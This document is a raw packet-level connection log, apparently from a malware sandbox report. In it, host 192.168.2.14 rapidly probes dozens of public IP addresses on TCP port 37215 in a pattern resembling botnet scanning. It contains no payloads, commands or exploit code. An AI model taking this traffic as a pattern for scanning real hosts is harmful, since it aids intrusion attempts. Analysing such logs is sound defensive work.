Sep 25, 2024 14:14:14.678142071 CEST	48476	37215	192.168.2.14	41.40.105.169
Sep 25, 2024 14:14:14.678142071 CEST	59490	37215	192.168.2.14	156.250.124.27
Sep 25, 2024 14:14:14.678142071 CEST	56668	37215	192.168.2.14	156.78.176.151
Sep 25, 2024 14:14:14.678144932 CEST	58402	37215	192.168.2.14	197.179.45.104
Sep 25, 2024 14:14:14.678144932 CEST	59670	37215	192.168.2.14	156.47.193.228
Sep 25, 2024 14:14:14.678154945 CEST	39192	37215	192.168.2.14	41.151.31.9
Sep 25, 2024 14:14:14.678154945 CEST	46328	37215	192.168.2.14	197.211.187.23
Sep 25, 2024 14:14:14.678159952 CEST	60702	37215	192.168.2.14	41.202.147.229
Sep 25, 2024 14:14:14.678169012 CEST	49786	37215	192.168.2.14	41.32.128.235
Sep 25, 2024 14:14:14.678168058 CEST	51748	37215	192.168.2.14	197.156.215.213
Sep 25, 2024 14:14:14.678169012 CEST	39386	37215	192.168.2.14	41.138.22.129
Sep 25, 2024 14:14:14.678169012 CEST	51458	37215	192.168.2.14	197.168.206.106
Sep 25, 2024 14:14:14.685765982 CEST	37215	40640	197.213.126.196	192.168.2.14
Sep 25, 2024 14:14:14.685779095 CEST	37215	48476	41.40.105.169	192.168.2.14
Sep 25, 2024 14:14:14.685827971 CEST	40640	37215	192.168.2.14	197.213.126.196
Sep 25, 2024 14:14:14.685868025 CEST	48476	37215	192.168.2.14	41.40.105.169
Sep 25, 2024 14:14:14.685909986 CEST	40640	37215	192.168.2.14	197.213.126.196
Sep 25, 2024 14:14:14.685909986 CEST	40640	37215	192.168.2.14	197.213.126.196
Sep 25, 2024 14:14:14.686269045 CEST	40796	37215	192.168.2.14	197.213.126.196
Sep 25, 2024 14:14:14.686969042 CEST	48476	37215	192.168.2.14	41.40.105.169
Sep 25, 2024 14:14:14.686969042 CEST	48476	37215	192.168.2.14	41.40.105.169
Sep 25, 2024 14:14:14.687515974 CEST	48628	37215	192.168.2.14	41.40.105.169
Sep 25, 2024 14:14:14.693434954 CEST	37215	40640	197.213.126.196	192.168.2.14
Sep 25, 2024 14:14:14.693984985 CEST	37215	40796	197.213.126.196	192.168.2.14
Sep 25, 2024 14:14:14.694036961 CEST	40796	37215	192.168.2.14	197.213.126.196
Sep 25, 2024 14:14:14.694058895 CEST	40796	37215	192.168.2.14	197.213.126.196
Sep 25, 2024 14:14:14.694400072 CEST	59212	37215	192.168.2.14	41.106.169.205
Sep 25, 2024 14:14:14.694704056 CEST	37215	48476	41.40.105.169	192.168.2.14
Sep 25, 2024 14:14:14.702424049 CEST	37215	59212	41.106.169.205	192.168.2.14
Sep 25, 2024 14:14:14.702477932 CEST	59212	37215	192.168.2.14	41.106.169.205
Sep 25, 2024 14:14:14.702538967 CEST	37215	40796	197.213.126.196	192.168.2.14
Sep 25, 2024 14:14:14.702539921 CEST	59212	37215	192.168.2.14	41.106.169.205
Sep 25, 2024 14:14:14.702542067 CEST	59212	37215	192.168.2.14	41.106.169.205
Sep 25, 2024 14:14:14.702574015 CEST	40796	37215	192.168.2.14	197.213.126.196
Sep 25, 2024 14:14:14.704479933 CEST	59214	37215	192.168.2.14	41.106.169.205
Sep 25, 2024 14:14:14.704668999 CEST	37215	51138	156.82.105.217	192.168.2.14
Sep 25, 2024 14:14:14.704680920 CEST	37215	42708	156.51.49.93	192.168.2.14
Sep 25, 2024 14:14:14.704690933 CEST	37215	59618	156.163.166.235	192.168.2.14
Sep 25, 2024 14:14:14.710135937 CEST	58104	37215	192.168.2.14	41.210.218.248
Sep 25, 2024 14:14:14.710135937 CEST	38202	37215	192.168.2.14	41.251.86.183
Sep 25, 2024 14:14:14.710136890 CEST	36726	37215	192.168.2.14	41.145.50.243
Sep 25, 2024 14:14:14.710135937 CEST	60398	37215	192.168.2.14	156.6.55.12
Sep 25, 2024 14:14:14.710135937 CEST	50920	37215	192.168.2.14	41.0.66.167
Sep 25, 2024 14:14:14.710203886 CEST	37215	59212	41.106.169.205	192.168.2.14
Sep 25, 2024 14:14:14.712239981 CEST	37215	59214	41.106.169.205	192.168.2.14
Sep 25, 2024 14:14:14.712306976 CEST	59214	37215	192.168.2.14	41.106.169.205
Sep 25, 2024 14:14:14.712321997 CEST	59214	37215	192.168.2.14	41.106.169.205
Sep 25, 2024 14:14:14.713618994 CEST	36070	37215	192.168.2.14	41.183.91.205
Sep 25, 2024 14:14:14.720407009 CEST	37215	59214	41.106.169.205	192.168.2.14
Sep 25, 2024 14:14:14.720491886 CEST	59214	37215	192.168.2.14	41.106.169.205
Sep 25, 2024 14:14:14.721225977 CEST	37215	36070	41.183.91.205	192.168.2.14
Sep 25, 2024 14:14:14.722476006 CEST	36070	37215	192.168.2.14	41.183.91.205
Sep 25, 2024 14:14:14.722476006 CEST	36070	37215	192.168.2.14	41.183.91.205
Sep 25, 2024 14:14:14.722476006 CEST	36070	37215	192.168.2.14	41.183.91.205
Sep 25, 2024 14:14:14.727288961 CEST	37215	36070	41.183.91.205	192.168.2.14
Sep 25, 2024 14:14:14.734014034 CEST	37215	48476	41.40.105.169	192.168.2.14
Sep 25, 2024 14:14:14.734026909 CEST	37215	40640	197.213.126.196	192.168.2.14
Sep 25, 2024 14:14:14.742137909 CEST	58996	37215	192.168.2.14	156.15.110.52
Sep 25, 2024 14:14:14.742151022 CEST	45510	37215	192.168.2.14	197.194.118.20
Sep 25, 2024 14:14:14.747136116 CEST	37215	58996	156.15.110.52	192.168.2.14
Sep 25, 2024 14:14:14.747299910 CEST	37215	45510	197.194.118.20	192.168.2.14
Sep 25, 2024 14:14:14.747353077 CEST	58996	37215	192.168.2.14	156.15.110.52
Sep 25, 2024 14:14:14.747355938 CEST	45510	37215	192.168.2.14	197.194.118.20
Sep 25, 2024 14:14:14.750017881 CEST	37215	59212	41.106.169.205	192.168.2.14
Sep 25, 2024 14:14:14.762279987 CEST	36072	37215	192.168.2.14	41.183.91.205
Sep 25, 2024 14:14:14.767304897 CEST	37215	36072	41.183.91.205	192.168.2.14
Sep 25, 2024 14:14:14.767512083 CEST	36072	37215	192.168.2.14	41.183.91.205
Sep 25, 2024 14:14:14.769831896 CEST	37215	36070	41.183.91.205	192.168.2.14
Sep 25, 2024 14:14:14.774136066 CEST	60700	37215	192.168.2.14	197.211.244.130
Sep 25, 2024 14:14:14.774142027 CEST	57468	37215	192.168.2.14	156.77.1.208
Sep 25, 2024 14:14:14.774144888 CEST	56650	37215	192.168.2.14	197.116.25.249
Sep 25, 2024 14:14:14.774151087 CEST	41858	37215	192.168.2.14	156.87.246.107
Sep 25, 2024 14:14:14.774161100 CEST	35702	37215	192.168.2.14	197.216.45.82
Sep 25, 2024 14:14:14.774164915 CEST	57802	37215	192.168.2.14	197.236.232.139
Sep 25, 2024 14:14:14.774172068 CEST	39222	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:14.780024052 CEST	37215	60700	197.211.244.130	192.168.2.14
Sep 25, 2024 14:14:14.780035973 CEST	37215	56650	197.116.25.249	192.168.2.14
Sep 25, 2024 14:14:14.780050039 CEST	37215	57468	156.77.1.208	192.168.2.14
Sep 25, 2024 14:14:14.780086994 CEST	56650	37215	192.168.2.14	197.116.25.249
Sep 25, 2024 14:14:14.780107975 CEST	57468	37215	192.168.2.14	156.77.1.208
Sep 25, 2024 14:14:14.780141115 CEST	60700	37215	192.168.2.14	197.211.244.130
Sep 25, 2024 14:14:14.806144953 CEST	58060	37215	192.168.2.14	156.130.48.53
Sep 25, 2024 14:14:14.806154013 CEST	52296	37215	192.168.2.14	156.96.234.250
Sep 25, 2024 14:14:14.806164026 CEST	52872	37215	192.168.2.14	156.222.104.69
Sep 25, 2024 14:14:14.806185961 CEST	33676	37215	192.168.2.14	41.164.78.5
Sep 25, 2024 14:14:14.814450026 CEST	37215	58060	156.130.48.53	192.168.2.14
Sep 25, 2024 14:14:14.814461946 CEST	37215	52296	156.96.234.250	192.168.2.14
Sep 25, 2024 14:14:14.814471960 CEST	37215	52872	156.222.104.69	192.168.2.14
Sep 25, 2024 14:14:14.814512014 CEST	58060	37215	192.168.2.14	156.130.48.53
Sep 25, 2024 14:14:14.814517021 CEST	52296	37215	192.168.2.14	156.96.234.250
Sep 25, 2024 14:14:14.814526081 CEST	52872	37215	192.168.2.14	156.222.104.69
Sep 25, 2024 14:14:14.822221994 CEST	57468	37215	192.168.2.14	156.77.1.208
Sep 25, 2024 14:14:14.822228909 CEST	56650	37215	192.168.2.14	197.116.25.249
Sep 25, 2024 14:14:14.822252035 CEST	60700	37215	192.168.2.14	197.211.244.130
Sep 25, 2024 14:14:14.822253942 CEST	52296	37215	192.168.2.14	156.96.234.250
Sep 25, 2024 14:14:14.822257042 CEST	58060	37215	192.168.2.14	156.130.48.53
Sep 25, 2024 14:14:14.822261095 CEST	52872	37215	192.168.2.14	156.222.104.69
Sep 25, 2024 14:14:14.822288990 CEST	36072	37215	192.168.2.14	41.183.91.205
Sep 25, 2024 14:14:14.828500986 CEST	37215	57468	156.77.1.208	192.168.2.14
Sep 25, 2024 14:14:14.828634024 CEST	57468	37215	192.168.2.14	156.77.1.208
Sep 25, 2024 14:14:14.828995943 CEST	37215	56650	197.116.25.249	192.168.2.14
Sep 25, 2024 14:14:14.829009056 CEST	37215	52296	156.96.234.250	192.168.2.14
Sep 25, 2024 14:14:14.829052925 CEST	56650	37215	192.168.2.14	197.116.25.249
Sep 25, 2024 14:14:14.829072952 CEST	52296	37215	192.168.2.14	156.96.234.250
Sep 25, 2024 14:14:14.829224110 CEST	37215	58060	156.130.48.53	192.168.2.14
Sep 25, 2024 14:14:14.829329014 CEST	58060	37215	192.168.2.14	156.130.48.53
Sep 25, 2024 14:14:14.829448938 CEST	37215	52872	156.222.104.69	192.168.2.14
Sep 25, 2024 14:14:14.829459906 CEST	37215	60700	197.211.244.130	192.168.2.14
Sep 25, 2024 14:14:14.829469919 CEST	37215	36072	41.183.91.205	192.168.2.14
Sep 25, 2024 14:14:14.829489946 CEST	60700	37215	192.168.2.14	197.211.244.130
Sep 25, 2024 14:14:14.829504013 CEST	52872	37215	192.168.2.14	156.222.104.69
Sep 25, 2024 14:14:14.829586983 CEST	36072	37215	192.168.2.14	41.183.91.205
Sep 25, 2024 14:14:14.838129997 CEST	39200	37215	192.168.2.14	41.89.131.221
Sep 25, 2024 14:14:14.838134050 CEST	32808	37215	192.168.2.14	41.220.146.194
Sep 25, 2024 14:14:14.838167906 CEST	43648	37215	192.168.2.14	41.149.228.31
Sep 25, 2024 14:14:14.847196102 CEST	37215	39200	41.89.131.221	192.168.2.14
Sep 25, 2024 14:14:14.847207069 CEST	37215	32808	41.220.146.194	192.168.2.14
Sep 25, 2024 14:14:14.847218990 CEST	37215	43648	41.149.228.31	192.168.2.14
Sep 25, 2024 14:14:14.847265005 CEST	39200	37215	192.168.2.14	41.89.131.221
Sep 25, 2024 14:14:14.847265005 CEST	32808	37215	192.168.2.14	41.220.146.194
Sep 25, 2024 14:14:14.847317934 CEST	43648	37215	192.168.2.14	41.149.228.31
Sep 25, 2024 14:14:14.864499092 CEST	33306	37215	192.168.2.14	156.218.30.28
Sep 25, 2024 14:14:14.865603924 CEST	56092	37215	192.168.2.14	197.22.82.105
Sep 25, 2024 14:14:14.866226912 CEST	39760	37215	192.168.2.14	197.15.39.142
Sep 25, 2024 14:14:14.866789103 CEST	51466	37215	192.168.2.14	41.231.142.148
Sep 25, 2024 14:14:14.867422104 CEST	42572	37215	192.168.2.14	156.234.28.147
Sep 25, 2024 14:14:14.868263960 CEST	54706	37215	192.168.2.14	41.104.10.243
Sep 25, 2024 14:14:14.868657112 CEST	32808	37215	192.168.2.14	41.220.146.194
Sep 25, 2024 14:14:14.868678093 CEST	39200	37215	192.168.2.14	41.89.131.221
Sep 25, 2024 14:14:14.868685007 CEST	45510	37215	192.168.2.14	197.194.118.20
Sep 25, 2024 14:14:14.868685007 CEST	45510	37215	192.168.2.14	197.194.118.20
Sep 25, 2024 14:14:14.868937969 CEST	45668	37215	192.168.2.14	197.194.118.20
Sep 25, 2024 14:14:14.869271994 CEST	58996	37215	192.168.2.14	156.15.110.52
Sep 25, 2024 14:14:14.869271994 CEST	58996	37215	192.168.2.14	156.15.110.52
Sep 25, 2024 14:14:14.869610071 CEST	59152	37215	192.168.2.14	156.15.110.52
Sep 25, 2024 14:14:14.870124102 CEST	41176	37215	192.168.2.14	156.36.170.113
Sep 25, 2024 14:14:14.870131016 CEST	58982	37215	192.168.2.14	197.137.27.83
Sep 25, 2024 14:14:14.870131016 CEST	53524	37215	192.168.2.14	156.138.102.83
Sep 25, 2024 14:14:14.870131016 CEST	56644	37215	192.168.2.14	197.13.50.174
Sep 25, 2024 14:14:14.870136023 CEST	35132	37215	192.168.2.14	41.126.4.16
Sep 25, 2024 14:14:14.870142937 CEST	59048	37215	192.168.2.14	156.66.158.131
Sep 25, 2024 14:14:14.870145082 CEST	45086	37215	192.168.2.14	197.102.171.153
Sep 25, 2024 14:14:14.870174885 CEST	51548	37215	192.168.2.14	197.189.82.238
Sep 25, 2024 14:14:14.870749950 CEST	58828	37215	192.168.2.14	41.195.216.193
Sep 25, 2024 14:14:14.871294022 CEST	43648	37215	192.168.2.14	41.149.228.31
Sep 25, 2024 14:14:14.871294022 CEST	43648	37215	192.168.2.14	41.149.228.31
Sep 25, 2024 14:14:14.871356964 CEST	43670	37215	192.168.2.14	41.149.228.31
Sep 25, 2024 14:14:14.871913910 CEST	37215	33306	156.218.30.28	192.168.2.14
Sep 25, 2024 14:14:14.871925116 CEST	37215	56092	197.22.82.105	192.168.2.14
Sep 25, 2024 14:14:14.871947050 CEST	37215	39760	197.15.39.142	192.168.2.14
Sep 25, 2024 14:14:14.871958971 CEST	33306	37215	192.168.2.14	156.218.30.28
Sep 25, 2024 14:14:14.871963978 CEST	56092	37215	192.168.2.14	197.22.82.105
Sep 25, 2024 14:14:14.872019053 CEST	33306	37215	192.168.2.14	156.218.30.28
Sep 25, 2024 14:14:14.872019053 CEST	33306	37215	192.168.2.14	156.218.30.28
Sep 25, 2024 14:14:14.872131109 CEST	39760	37215	192.168.2.14	197.15.39.142
Sep 25, 2024 14:14:14.872450113 CEST	33328	37215	192.168.2.14	156.218.30.28
Sep 25, 2024 14:14:14.872970104 CEST	56092	37215	192.168.2.14	197.22.82.105
Sep 25, 2024 14:14:14.872970104 CEST	56092	37215	192.168.2.14	197.22.82.105
Sep 25, 2024 14:14:14.873388052 CEST	56114	37215	192.168.2.14	197.22.82.105
Sep 25, 2024 14:14:14.873873949 CEST	39760	37215	192.168.2.14	197.15.39.142
Sep 25, 2024 14:14:14.873874903 CEST	39760	37215	192.168.2.14	197.15.39.142
Sep 25, 2024 14:14:14.874314070 CEST	39782	37215	192.168.2.14	197.15.39.142
Sep 25, 2024 14:14:14.874705076 CEST	37215	45510	197.194.118.20	192.168.2.14
Sep 25, 2024 14:14:14.874754906 CEST	37215	32808	41.220.146.194	192.168.2.14
Sep 25, 2024 14:14:14.874800920 CEST	32808	37215	192.168.2.14	41.220.146.194
Sep 25, 2024 14:14:14.875194073 CEST	37215	58996	156.15.110.52	192.168.2.14
Sep 25, 2024 14:14:14.877393961 CEST	37215	39200	41.89.131.221	192.168.2.14
Sep 25, 2024 14:14:14.877404928 CEST	37215	43648	41.149.228.31	192.168.2.14
Sep 25, 2024 14:14:14.877443075 CEST	39200	37215	192.168.2.14	41.89.131.221
Sep 25, 2024 14:14:14.878720045 CEST	37215	33306	156.218.30.28	192.168.2.14
Sep 25, 2024 14:14:14.878803015 CEST	37215	33328	156.218.30.28	192.168.2.14
Sep 25, 2024 14:14:14.878880978 CEST	33328	37215	192.168.2.14	156.218.30.28
Sep 25, 2024 14:14:14.878880978 CEST	33328	37215	192.168.2.14	156.218.30.28
Sep 25, 2024 14:14:14.879143953 CEST	60230	37215	192.168.2.14	156.203.125.93
Sep 25, 2024 14:14:14.881341934 CEST	37215	56092	197.22.82.105	192.168.2.14
Sep 25, 2024 14:14:14.882035017 CEST	37215	39760	197.15.39.142	192.168.2.14
Sep 25, 2024 14:14:14.888139009 CEST	37215	33328	156.218.30.28	192.168.2.14
Sep 25, 2024 14:14:14.888206959 CEST	33328	37215	192.168.2.14	156.218.30.28
Sep 25, 2024 14:14:14.922895908 CEST	37215	58996	156.15.110.52	192.168.2.14
Sep 25, 2024 14:14:14.922909021 CEST	37215	45510	197.194.118.20	192.168.2.14
Sep 25, 2024 14:14:14.923029900 CEST	37215	56092	197.22.82.105	192.168.2.14
Sep 25, 2024 14:14:14.923048973 CEST	37215	33306	156.218.30.28	192.168.2.14
Sep 25, 2024 14:14:14.923069954 CEST	37215	43648	41.149.228.31	192.168.2.14
Sep 25, 2024 14:14:14.925847054 CEST	37215	39760	197.15.39.142	192.168.2.14
Sep 25, 2024 14:14:15.337006092 CEST	37215	53922	197.7.86.235	192.168.2.14
Sep 25, 2024 14:14:15.337100029 CEST	53922	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:15.542104959 CEST	52638	37215	192.168.2.14	41.119.194.26
Sep 25, 2024 14:14:15.542105913 CEST	52962	37215	192.168.2.14	156.225.72.240
Sep 25, 2024 14:14:15.542109013 CEST	34036	37215	192.168.2.14	41.135.24.40
Sep 25, 2024 14:14:15.542114973 CEST	37466	37215	192.168.2.14	156.23.38.211
Sep 25, 2024 14:14:15.542114973 CEST	40252	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:15.542114973 CEST	41280	37215	192.168.2.14	197.228.42.166
Sep 25, 2024 14:14:15.542124987 CEST	34688	37215	192.168.2.14	156.188.18.156
Sep 25, 2024 14:14:15.542124987 CEST	34400	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:15.542124987 CEST	42446	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:15.542128086 CEST	57664	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:15.542129040 CEST	34686	37215	192.168.2.14	197.74.234.63
Sep 25, 2024 14:14:15.542128086 CEST	56138	37215	192.168.2.14	156.183.76.141
Sep 25, 2024 14:14:15.542129040 CEST	54178	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:15.542129040 CEST	40430	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:15.542150974 CEST	37782	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:15.542154074 CEST	50886	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:15.542154074 CEST	60642	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:15.542169094 CEST	54898	37215	192.168.2.14	156.202.243.110
Sep 25, 2024 14:14:15.542169094 CEST	52180	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:15.542169094 CEST	40998	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:15.542169094 CEST	55604	37215	192.168.2.14	156.59.45.78
Sep 25, 2024 14:14:15.542169094 CEST	53598	37215	192.168.2.14	41.234.48.19
Sep 25, 2024 14:14:15.542171001 CEST	60486	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:15.542175055 CEST	44252	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:15.542175055 CEST	40384	37215	192.168.2.14	156.137.34.27
Sep 25, 2024 14:14:15.542175055 CEST	53806	37215	192.168.2.14	41.39.208.35
Sep 25, 2024 14:14:15.542184114 CEST	35854	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:15.542188883 CEST	49290	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:15.542193890 CEST	37148	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:15.542193890 CEST	49610	37215	192.168.2.14	197.45.117.209
Sep 25, 2024 14:14:15.542193890 CEST	33220	37215	192.168.2.14	41.87.166.42
Sep 25, 2024 14:14:15.548439980 CEST	37215	52638	41.119.194.26	192.168.2.14
Sep 25, 2024 14:14:15.548464060 CEST	37215	34036	41.135.24.40	192.168.2.14
Sep 25, 2024 14:14:15.548475027 CEST	37215	34688	156.188.18.156	192.168.2.14
Sep 25, 2024 14:14:15.548501968 CEST	52638	37215	192.168.2.14	41.119.194.26
Sep 25, 2024 14:14:15.548530102 CEST	34036	37215	192.168.2.14	41.135.24.40
Sep 25, 2024 14:14:15.548604965 CEST	34036	37215	192.168.2.14	41.135.24.40
Sep 25, 2024 14:14:15.548607111 CEST	37215	52962	156.225.72.240	192.168.2.14
Sep 25, 2024 14:14:15.548619032 CEST	37215	34400	41.204.4.154	192.168.2.14
Sep 25, 2024 14:14:15.548619032 CEST	34688	37215	192.168.2.14	156.188.18.156
Sep 25, 2024 14:14:15.548624039 CEST	52638	37215	192.168.2.14	41.119.194.26
Sep 25, 2024 14:14:15.548629999 CEST	37215	37466	156.23.38.211	192.168.2.14
Sep 25, 2024 14:14:15.548638105 CEST	52962	37215	192.168.2.14	156.225.72.240
Sep 25, 2024 14:14:15.548640966 CEST	37215	42446	41.175.30.52	192.168.2.14
Sep 25, 2024 14:14:15.548651934 CEST	37215	40252	41.113.76.132	192.168.2.14
Sep 25, 2024 14:14:15.548662901 CEST	37215	37782	41.126.108.91	192.168.2.14
Sep 25, 2024 14:14:15.548662901 CEST	37466	37215	192.168.2.14	156.23.38.211
Sep 25, 2024 14:14:15.548666000 CEST	63353	37215	192.168.2.14	197.78.179.96
Sep 25, 2024 14:14:15.548666954 CEST	37215	41280	197.228.42.166	192.168.2.14
Sep 25, 2024 14:14:15.548676968 CEST	63353	37215	192.168.2.14	41.32.61.138
Sep 25, 2024 14:14:15.548677921 CEST	37215	34686	197.74.234.63	192.168.2.14
Sep 25, 2024 14:14:15.548676968 CEST	63353	37215	192.168.2.14	197.9.71.25
Sep 25, 2024 14:14:15.548685074 CEST	40252	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:15.548686981 CEST	34400	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:15.548686981 CEST	42446	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:15.548691034 CEST	37215	50886	41.203.135.99	192.168.2.14
Sep 25, 2024 14:14:15.548696041 CEST	41280	37215	192.168.2.14	197.228.42.166
Sep 25, 2024 14:14:15.548698902 CEST	37782	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:15.548706055 CEST	37215	57664	156.128.52.57	192.168.2.14
Sep 25, 2024 14:14:15.548712015 CEST	63353	37215	192.168.2.14	156.179.180.91
Sep 25, 2024 14:14:15.548716068 CEST	63353	37215	192.168.2.14	41.72.128.114
Sep 25, 2024 14:14:15.548717022 CEST	37215	54178	197.7.86.235	192.168.2.14
Sep 25, 2024 14:14:15.548717022 CEST	34686	37215	192.168.2.14	197.74.234.63
Sep 25, 2024 14:14:15.548721075 CEST	50886	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:15.548731089 CEST	37215	60642	41.114.142.228	192.168.2.14
Sep 25, 2024 14:14:15.548742056 CEST	37215	56138	156.183.76.141	192.168.2.14
Sep 25, 2024 14:14:15.548744917 CEST	63353	37215	192.168.2.14	197.230.22.110
Sep 25, 2024 14:14:15.548744917 CEST	63353	37215	192.168.2.14	197.65.45.82
Sep 25, 2024 14:14:15.548744917 CEST	57664	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:15.548744917 CEST	63353	37215	192.168.2.14	41.203.115.19
Sep 25, 2024 14:14:15.548744917 CEST	63353	37215	192.168.2.14	156.222.84.54
Sep 25, 2024 14:14:15.548744917 CEST	63353	37215	192.168.2.14	197.114.106.174
Sep 25, 2024 14:14:15.548748016 CEST	63353	37215	192.168.2.14	156.183.200.216
Sep 25, 2024 14:14:15.548748016 CEST	63353	37215	192.168.2.14	41.103.33.36
Sep 25, 2024 14:14:15.548752069 CEST	37215	60486	197.126.2.56	192.168.2.14
Sep 25, 2024 14:14:15.548752069 CEST	60642	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:15.548763037 CEST	37215	54898	156.202.243.110	192.168.2.14
Sep 25, 2024 14:14:15.548763990 CEST	63353	37215	192.168.2.14	156.143.63.28
Sep 25, 2024 14:14:15.548768044 CEST	54178	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:15.548769951 CEST	56138	37215	192.168.2.14	156.183.76.141
Sep 25, 2024 14:14:15.548774958 CEST	37215	40430	41.57.178.82	192.168.2.14
Sep 25, 2024 14:14:15.548787117 CEST	37215	52180	41.218.113.176	192.168.2.14
Sep 25, 2024 14:14:15.548796892 CEST	37215	44252	197.75.103.164	192.168.2.14
Sep 25, 2024 14:14:15.548798084 CEST	63353	37215	192.168.2.14	41.191.49.221
Sep 25, 2024 14:14:15.548799992 CEST	60486	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:15.548799992 CEST	63353	37215	192.168.2.14	156.191.252.211
Sep 25, 2024 14:14:15.548799992 CEST	54898	37215	192.168.2.14	156.202.243.110
Sep 25, 2024 14:14:15.548805952 CEST	63353	37215	192.168.2.14	197.127.215.239
Sep 25, 2024 14:14:15.548808098 CEST	63353	37215	192.168.2.14	197.96.27.70
Sep 25, 2024 14:14:15.548810005 CEST	37215	40998	41.94.82.29	192.168.2.14
Sep 25, 2024 14:14:15.548819065 CEST	63353	37215	192.168.2.14	156.254.73.147
Sep 25, 2024 14:14:15.548823118 CEST	52180	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:15.548825979 CEST	63353	37215	192.168.2.14	156.89.45.216
Sep 25, 2024 14:14:15.548830032 CEST	40430	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:15.548839092 CEST	37215	35854	197.72.52.161	192.168.2.14
Sep 25, 2024 14:14:15.548840046 CEST	63353	37215	192.168.2.14	197.254.247.148
Sep 25, 2024 14:14:15.548841000 CEST	63353	37215	192.168.2.14	41.208.247.73
Sep 25, 2024 14:14:15.548842907 CEST	44252	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:15.548844099 CEST	63353	37215	192.168.2.14	41.94.46.202
Sep 25, 2024 14:14:15.548846006 CEST	63353	37215	192.168.2.14	156.121.34.64
Sep 25, 2024 14:14:15.548846006 CEST	63353	37215	192.168.2.14	41.84.240.86
Sep 25, 2024 14:14:15.548856974 CEST	37215	40384	156.137.34.27	192.168.2.14
Sep 25, 2024 14:14:15.548863888 CEST	40998	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:15.548863888 CEST	63353	37215	192.168.2.14	41.16.164.173
Sep 25, 2024 14:14:15.548866987 CEST	63353	37215	192.168.2.14	41.87.233.176
Sep 25, 2024 14:14:15.548866987 CEST	63353	37215	192.168.2.14	41.159.148.38
Sep 25, 2024 14:14:15.548868895 CEST	37215	55604	156.59.45.78	192.168.2.14
Sep 25, 2024 14:14:15.548872948 CEST	63353	37215	192.168.2.14	197.251.76.206
Sep 25, 2024 14:14:15.548872948 CEST	63353	37215	192.168.2.14	41.215.133.206
Sep 25, 2024 14:14:15.548877001 CEST	35854	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:15.548878908 CEST	63353	37215	192.168.2.14	41.182.116.145
Sep 25, 2024 14:14:15.548878908 CEST	63353	37215	192.168.2.14	197.38.202.166
Sep 25, 2024 14:14:15.548886061 CEST	37215	53806	41.39.208.35	192.168.2.14
Sep 25, 2024 14:14:15.548887968 CEST	63353	37215	192.168.2.14	156.31.162.16
Sep 25, 2024 14:14:15.548893929 CEST	63353	37215	192.168.2.14	41.13.245.207
Sep 25, 2024 14:14:15.548896074 CEST	63353	37215	192.168.2.14	41.81.193.210
Sep 25, 2024 14:14:15.548904896 CEST	63353	37215	192.168.2.14	197.230.101.92
Sep 25, 2024 14:14:15.548906088 CEST	37215	49290	156.201.222.189	192.168.2.14
Sep 25, 2024 14:14:15.548917055 CEST	37215	53598	41.234.48.19	192.168.2.14
Sep 25, 2024 14:14:15.548918009 CEST	55604	37215	192.168.2.14	156.59.45.78
Sep 25, 2024 14:14:15.548918009 CEST	63353	37215	192.168.2.14	41.7.83.129
Sep 25, 2024 14:14:15.548928976 CEST	63353	37215	192.168.2.14	197.112.74.191
Sep 25, 2024 14:14:15.548930883 CEST	40384	37215	192.168.2.14	156.137.34.27
Sep 25, 2024 14:14:15.548930883 CEST	53806	37215	192.168.2.14	41.39.208.35
Sep 25, 2024 14:14:15.548930883 CEST	63353	37215	192.168.2.14	197.252.141.192
Sep 25, 2024 14:14:15.548934937 CEST	37215	37148	156.116.96.173	192.168.2.14
Sep 25, 2024 14:14:15.548944950 CEST	37215	49610	197.45.117.209	192.168.2.14
Sep 25, 2024 14:14:15.548948050 CEST	63353	37215	192.168.2.14	156.161.111.143
Sep 25, 2024 14:14:15.548950911 CEST	63353	37215	192.168.2.14	197.8.226.75
Sep 25, 2024 14:14:15.548950911 CEST	63353	37215	192.168.2.14	156.146.61.239
Sep 25, 2024 14:14:15.548952103 CEST	63353	37215	192.168.2.14	41.72.65.27
Sep 25, 2024 14:14:15.548953056 CEST	49290	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:15.548954010 CEST	63353	37215	192.168.2.14	156.27.144.0
Sep 25, 2024 14:14:15.548954964 CEST	37215	33220	41.87.166.42	192.168.2.14
Sep 25, 2024 14:14:15.548976898 CEST	37148	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:15.548976898 CEST	49610	37215	192.168.2.14	197.45.117.209
Sep 25, 2024 14:14:15.548986912 CEST	53598	37215	192.168.2.14	41.234.48.19
Sep 25, 2024 14:14:15.548986912 CEST	63353	37215	192.168.2.14	156.87.228.223
Sep 25, 2024 14:14:15.548990011 CEST	63353	37215	192.168.2.14	156.132.188.93
Sep 25, 2024 14:14:15.548994064 CEST	33220	37215	192.168.2.14	41.87.166.42
